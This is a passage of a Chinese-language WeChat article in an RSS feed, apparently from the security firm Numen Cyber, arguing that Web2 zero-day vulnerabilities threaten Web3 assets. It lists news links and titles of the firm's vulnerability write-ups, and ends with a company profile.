style="min-height: 24px;text-align: left;margin: 8px 8px 16px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);letter-spacing: 1px;font-size: 14px;">这其中有两方面原因，一是 Web3 行业方兴未艾，技术人员与安全设施都处于探索完善中；一是网络安全相关法规已迫使 Web2 企业注重自身安全建设以最大限度降低安全事件可能性。</span></p><p style="min-height: 24px;text-align: left;margin: 8px 8px 16px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);letter-spacing: 1px;font-size: 14px;">这些原因使得当下 Web3 领域更重视链上安全，以及区块链生态自身的安全性，对于更底层的漏洞，如系统级漏洞、浏览器漏洞、移动安全、硬件安全等领域的漏洞缺乏足够的认知（下文中对于传统网络安全中的 0day 漏洞简称为 Web2 0day）。</span></p><p style="min-height: 24px;text-align: left;margin: 0px 8px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><img class="rich_pages wxw-img" data-ratio="1.27" width="672" data-type="png" data-w="500" style="letter-spacing: 0.578px;text-align: left;text-wrap: wrap;" src="https://wechat2rss.xlab.app/img-proxy/?k=5fb9e476&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0fO5RawgN7aNqjulAAG5klgic9L7n2sjricQ2owgLLdrrwWPwicbbZjvP2a9hW8H8SxFibvbnynhicC9Ow%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="min-height: 24px;text-align: center;margin: 0px 8px;line-height: 1.75em;"><span style="letter-spacing: 1px;text-align: center;text-wrap: wrap;font-size: 12px;color: rgb(136, 136, 136);">脆弱的底层安全范式如何支撑 Web3 生态？</span></p></section></section></section></section><p style="min-height: 24px;text-align: left;margin: 8px 8px 16px;line-height: 1.75em;"><br/></p><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section data-role="title" data-tools="135编辑器" data-id="117004"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;text-align: left;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: left;padding-right: 7px;padding-left: 7px;"><span style="font-size: 18px;"><strong data-brushtype="text">Web2 是 Web3 的基础设施</strong></span></section></section></section></section></section></section></section><h2 style="font-size: 24px;margin: 8px 8px 16px;text-align: left;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"></span></h2><p style="min-height: 24px;text-align: left;margin: 8px 8px 16px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">不可忽视的是，Web3 是建立在 Web2 的基础设施之上的。<strong>Web2 底座如果产生安全漏洞，那么对于 Web3 生态来说就是大厦将倾，会对用户资产安全会造成极大的威胁。</strong></span></p><p style="min-height: 24px;text-align: left;margin: 8px 8px 16px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">比如浏览器漏洞、移动端漏洞（iOS/Android），可以在用户无感知的情况下窃取用户资产。</span></p><p style="min-height: 24px;text-align: left;margin: 0px 8px;line-height: 1.75em;"><img class="rich_pages wxw-img" data-ratio="0.7027777777777777" width="599" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b48dbd7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0fO5RawgN7aNqjulAAG5klgUvg8lhZQSh2Uvqdd0aolP58R01DTwoibOIYlRR46dDYTJW0YnibIPTCA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;text-align: center;margin: 0px 8px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);letter-spacing: 1px;font-size: 12px;">黑客如何通过 Chrome 0day 窃取你的个人数字资产（图标仅为示意）</span><span style="letter-spacing: 0.034em;text-align: left;"></span></p><section style="min-height: 24px;text-align: left;margin: 16px 8px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">下面是一些利用 Web2 0day 或者漏洞窃取数字资产的真实案例：</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;"></span></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="94875"><section style="display: flex;"><section style="width: 8px;height: 30px;background: rgb(254, 254, 254);margin-right: -5px;transform: rotate(0deg);"><section style="width: 6px;height: 6px;background: rgb(49, 49, 47);border-radius: 100%;margin-right: auto;margin-left: auto;overflow: hidden;"><br/></section><section style="width: 6px;height: 6px;background: rgb(49, 49, 47);border-radius: 100%;margin: 4px auto;overflow: hidden;"><br/></section><section style="width: 6px;height: 6px;background: rgb(49, 49, 47);border-radius: 100%;margin-right: auto;margin-left: auto;overflow: hidden;"><br/></section><section style="width: 6px;background: rgb(49, 49, 47);margin-right: auto;margin-left: auto;height: 0px;overflow: hidden;"><br/></section></section><section style="display: flex;"><section style="display: flex;"><section style="width: 4px;height: 100%;background-color: rgb(49, 49, 47);border-radius: 6px;overflow: hidden;"><br/></section></section><section data-autoskip="1" style="padding-left: 10px;font-size: 14px;color: rgb(51, 51, 51);letter-spacing: 1.5px;"><section style="text-align: left;margin: 8px 8px 16px;min-height: 24px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><strong><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">1.</span></strong><em><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">Hackers steal crypto from Bitcoin ATMs by exploiting zero-day </span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">bug</span></em><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;"></span></section><section style="text-align: left;margin: 8px 8px 16px;min-height: 24px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;background-color: rgb(214, 214, 214);"><a href="https://www.bleepingcomputer.com/news/security/hackers-steal-crypto-from-bitcoin-atms-by-exploiting-zero-day-bug/" target="_blank">https://www.bleepingcomputer.com/news/security/hackers-steal-crypto-from-bitcoin-atms-by-exploiting-zero-day-bug/</a></span></section><section style="text-align: left;margin: 8px 8px 16px;min-height: 24px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><strong><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">2.</span></strong><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><em>North Korean hackers exploited Chrome zero-day for 6 week</em></span></section><section style="text-align: left;margin: 8px 8px 16px;min-height: 24px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 0.034em;background-color: rgb(214, 214, 214);"><a href="https://www.techtarget.com/searchsecurity/news/252515092/North-Korean-hackers-exploited-Chrome-zero-day-bug-for-six-weeks" target="_blank">https://www.techtarget.com/searchsecurity/news/252515092/North-Korean-hackers-exploited-Chrome-zero-day-bug-for-six-weeks</a></span></section><section style="text-align: left;margin: 8px 8px 16px;min-height: 24px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><strong><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">3.</span></strong><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><em>Microsoft Word Vulnerability Could Steal Your Cryptocurrencies</em></span></section><section style="text-align: left;margin: 8px 8px 16px;min-height: 24px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;background-color: rgb(214, 214, 214);"><a href="https://thenationview.com/cryptocurrency/43279.html" target="_blank">https://thenationview.com/cryptocurrency/43279.html</a></span></section><section style="text-align: left;margin: 8px 8px 16px;min-height: 24px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><strong><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">4.</span></strong><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><em>Report: Android Vulnerability Allows Hackers to Steal Crypto Wallet Info</em></span></section><section style="text-align: left;margin: 8px 8px 16px;min-height: 24px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;background-color: rgb(214, 214, 214);"><a href="https://cointelegraph.com/news/report-android-vulnerability-allows-hackers-to-steal-crypto-wallet-info" target="_blank">https://cointelegraph.com/news/report-android-vulnerability-allows-hackers-to-steal-crypto-wallet-info</a></span></section></section></section></section></section></section><p style="min-height: 24px;text-align: left;margin: 8px 8px 16px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">从上述案例可以看出 Web2 漏洞对数字资产的危害是真实存在的，危害以及影响也是非常大的。</span></p><section style="min-height: 24px;text-align: left;margin: 8px 8px 0px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">Web2 漏洞不仅可以对个人资产造成影响，也会对交易所、资产托管企业、“矿”业等造成严重威胁。</span></section><section style="min-height: 24px;text-align: left;margin: 8px 8px 0px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><br/></span></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section data-role="title" data-tools="135编辑器" data-id="117004"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;text-align: left;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: left;padding-right: 7px;padding-left: 7px;"><span style="font-size: 18px;"><strong>Numen 为什么要研究底层安全</strong></span></section></section></section></section></section></section></section><p style="min-height: 24px;text-align: left;margin: 8px 8px 16px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">从前文可知，当前 Web2 对 Web3 有着极大的影响力，<strong>没有 Web2 底层的安全，就没有 Web3 领域的安全。</strong></span></p><p style="min-height: 24px;text-align: left;margin: 8px 8px 16px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">而 Numen 团队恰好由来自全球的顶级安全专家组成，具备 Web2+Web3 全方位全生态覆盖的技术能力。Numen 团队已经发现过微软、谷歌、苹果产品的 Web2 高危漏洞，以及如 Aptos，Sui，EoS，Ripple，Tron 等知名 Web3 生态的安全漏洞。</span></p><p style="min-height: 24px;text-align: left;margin: 8px 8px 16px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">此外，<strong>Numen 认为，Web3 领域的安全措施仅通过单一代码审计等方式并不充足，Web3 领域需要更多的安全设施，如实时检测与响应恶意交易等。</strong></span></p><p style="min-height: 24px;text-align: left;margin: 8px 8px 16px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">安全技术是一件严肃其直接关乎用户资产的事情，安全研究能力也是一家安全公司的水平体现，这也是为什么 Numen 从刚开始成立就去做 Web2 漏洞研究的目的，因为“<strong>未知攻，焉知防</strong>”。</span></p><p style="min-height: 24px;text-align: left;margin: 8px 8px 16px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;background-color: rgb(214, 214, 214);"><a href="https://www.leiphone.com/category/gbsecurity/CT5us5IC3Fpdu4SX.html" target="_blank">https://www.leiphone.com/category/gbsecurity/CT5us5IC3Fpdu4SX.html</a></span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;"></span></p><p style="min-height: 24px;text-align: left;margin: 8px 8px 16px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><strong>以下是 Numen 发现的一些安全漏洞的技术细节（点击文章名即可跳转）：</strong></span></p><p style="min-height: 24px;text-align: left;margin: 8px 8px 16px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">1.<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247485197&amp;idx=1&amp;sn=be54362dbc5eea6c2ab7bf43411f4d90&amp;chksm=cf71b596f8063c8060a6bd1e343732c29a3d1cca613dfe6ee8a0db2a5809c9034f03094ea387&amp;scene=21#wechat_redirect" textvalue="《HTTP提权漏洞CVE-2023-23410分析及PoC》" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">《HTTP提权漏洞CVE-2023-23410分析及PoC》</a></span></p><p style="min-height: 24px;text-align: left;margin: 8px 8px 16px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">2.<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247485188&amp;idx=1&amp;sn=ee011f9cef3131ceac927104296f19f3&amp;chksm=cf71b59ff8063c895f8eee0a5bc38e0489043c5bdddb4de39e03963e7141397f5beb405f0c51&amp;scene=21#wechat_redirect" textvalue="《DHCP服务远程代码执行漏洞CVE-2023-28231分析及PoC》" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">《DHCP服务远程代码执行漏洞CVE-2023-28231分析及PoC》</a></span></p><p style="min-height: 24px;text-align: left;margin: 8px 8px 16px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">3.<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247484469&amp;idx=1&amp;sn=844f9e78621b7b5add977e4a38953362&amp;chksm=cf71b6aef8063fb860f5a0bcc5427327edc5f556930b2708ac766734133b7e12935ce97bfde0&amp;scene=21#wechat_redirect" textvalue="《独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect》" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">《独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect》</a></span></p><p style="min-height: 24px;text-align: left;margin: 8px 8px 16px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">4.<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247484452&amp;idx=1&amp;sn=5e63ad2d75b4f9d08484e16a86a89297&amp;chksm=cf71b6bff8063fa947f89135db21b94f0fc0d03bd2feb83525abbd7f684e5795f712da3156ca&amp;scene=21#wechat_redirect" textvalue="《Javaweb框架ZK CVE-2022-36537漏洞分析附exp》" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">《Javaweb框架ZK CVE-2022-36537漏洞分析附exp》</a></span></p><p style="min-height: 24px;text-align: left;margin: 8px 8px 16px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">5.<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247484083&amp;idx=1&amp;sn=18656b532a5f50da12c1e3d3c3b19a24&amp;chksm=cf71b028f806393e80258dce9ec529653e3145337d10704e7c68a434ffe19111cba98837a071&amp;scene=21#wechat_redirect" textvalue="《From Leak TheHole to Chrome Render RCE》" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">《From Leak TheHole to Chrome Render RCE》</a></span></p><p style="min-height: 24px;text-align: left;margin: 8px 8px 16px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">6.<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247483693&amp;idx=1&amp;sn=034bcc247daced798a1d1ce2225c04a5&amp;chksm=cf71b3b6f8063aa070a486894d0b622cfab80d1b8ad17f11fffdf5ba24e6384a1cb070326490&amp;scene=21#wechat_redirect" textvalue="《0day漏洞: Chromium v8引擎最新UAF代码执行漏洞分析》" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">《0day漏洞: Chromium v8引擎最新UAF代码执行漏洞分析》</a></span></p><section style="min-height: 24px;margin: 0px 8px;text-align: left;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-align: left;">Numen 会持续坚持并扩大对底层安全技术的研究，并以兼容并蓄的态度，欢迎友商同</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-align: left;">行、技术同袍们的沟</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-align: left;">通交流，Web3 机构，交易所，钱包厂商与我们交流合作，一起将 Web3 领域打造得更为安全。</span></section><section style="min-height: 24px;margin: 0px 8px;text-align: left;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-align: left;"><br/></span></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="124203"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="background-image: linear-gradient(to right, rgb(248, 34, 34), rgb(210, 1, 16));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 2px 10px;"><section style="font-size: 16px;color: rgb(255, 255, 255);text-align: left;"><strong data-brushtype="text">END</strong></section><section style="width: 100%;border-top: 2px solid rgb(255, 232, 170);height: 2px;overflow: hidden;text-align: left;" data-width="100%"><br/></section></section></section></section></section><section style="min-height: 24px;margin-left: 8px;margin-right: 8px;text-align: left;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-align: left;"><br/></span></section><h2 style="font-size: 24px;margin: 8px 8px 16px;text-align: left;line-height: 1.75em;"></h2><h2 style="font-size: 24px;margin: 8px 8px 16px;text-align: left;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"></span></h2><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="122336"><section style="margin: 10px auto;"><section style="display: flex;justify-content: flex-end;margin-bottom: -29px;"><section style="width: 25px;height: 0px;overflow: hidden;text-align: left;"><br/></section></section><section style="margin-right: 10px;margin-left: 10px;"><section style="width: 100%;border-bottom: 1px solid rgb(255, 216, 68);height: 1px;overflow: hidden;text-align: left;" data-width="100%"><br/></section><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(71, 71, 71);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 10px 15px;"><h2 style="margin: 8px 8px 16px;font-size: 24px;color: rgba(0, 0, 0, 0.9);letter-spacing: 0.578px;text-align: left;line-height: 1.75em;"><strong><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"></span></strong></h2><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section style="margin-left: 0px;margin-right: 0px;"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;text-align: left;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: left;padding-right: 7px;padding-left: 7px;"><strong data-brushtype="text">关于 Numen Cyber：</strong></section></section></section></section></section></section><section style="text-align: left;margin: 8px 0px 16px;min-height: 24px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">Numen Cyber 是链上威胁检测与防御的先驱，团队成员拥有在亚马逊、华为、百度、奇虎360等众多知名大厂与 OKlink，知道创宇，成都链安等知名 Web3 主体安全岗位从业经历。</span></section><section style="text-align: left;margin: 8px 0px 16px;min-height: 24px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">拥有 Web2+Web3 多重安全技能储备的 Numen Cyber 旗下拥有 ImmunX 和 Leukocyte 两款安全产品，分别可在应用层和物理层为 Web3 项目提供保护。其中 ImmunX 包含安全策略开放市场和合约防火墙等独创功能，可以为 Web3 生态提供一站式全方位的保护；Leukocyte 则是保护服务器安全，实时检测黑客针对服务器的各种攻击并自动阻断、报警。</span></section><section style="text-align: left;margin: 8px 0px 16px;min-height: 24px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">目前 Numen Cyber 的合作伙伴包括不限于 Binance，Cobo，Suiet 等，也包括中国移动、中国电信、中国联通，以及阿里云、腾讯、华为、亚马逊、微软等。</span></section></section><section style="width: 100%;border-top: 1px solid rgb(255, 216, 68);height: 1px;overflow: hidden;text-align: left;" data-width="100%"><br/></section></section></section></section><section data-role="paragraph"><p style="text-align: left;"><br/></p><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Numen 官网</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;">ht</span><span style="outline: 0px;font-style: italic;letter-spacing: 0.544px;">tps://numencyber.com/ </span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">GitHub</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://github.com/NumenCyber" target="_blank">https://github.com/NumenCyber</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Twitter</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://twitter.com/@numencyber" target="_blank">https://twitter.com/@numencyber</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Medium</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://medium.com/@numencyberlabs" target="_blank">https://medium.com/@numencyberlabs</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">LinkedIn</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://www.linkedin.com/company/numencyber/" target="_blank">https://www.linkedin.com/company/numencyber/</a></span></section></section></section><h2 style="font-size: 24px;margin: 8px 8px 16px;text-align: left;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"></span></h2><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485969">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8118d3a7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247485969%26idx%3D2%26sn%3D4c6b2549053f7310cd30a355214001ee%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 09 Jun 2023 12:15:00 +0800</pubDate>
    </item>
  </channel>
</rss>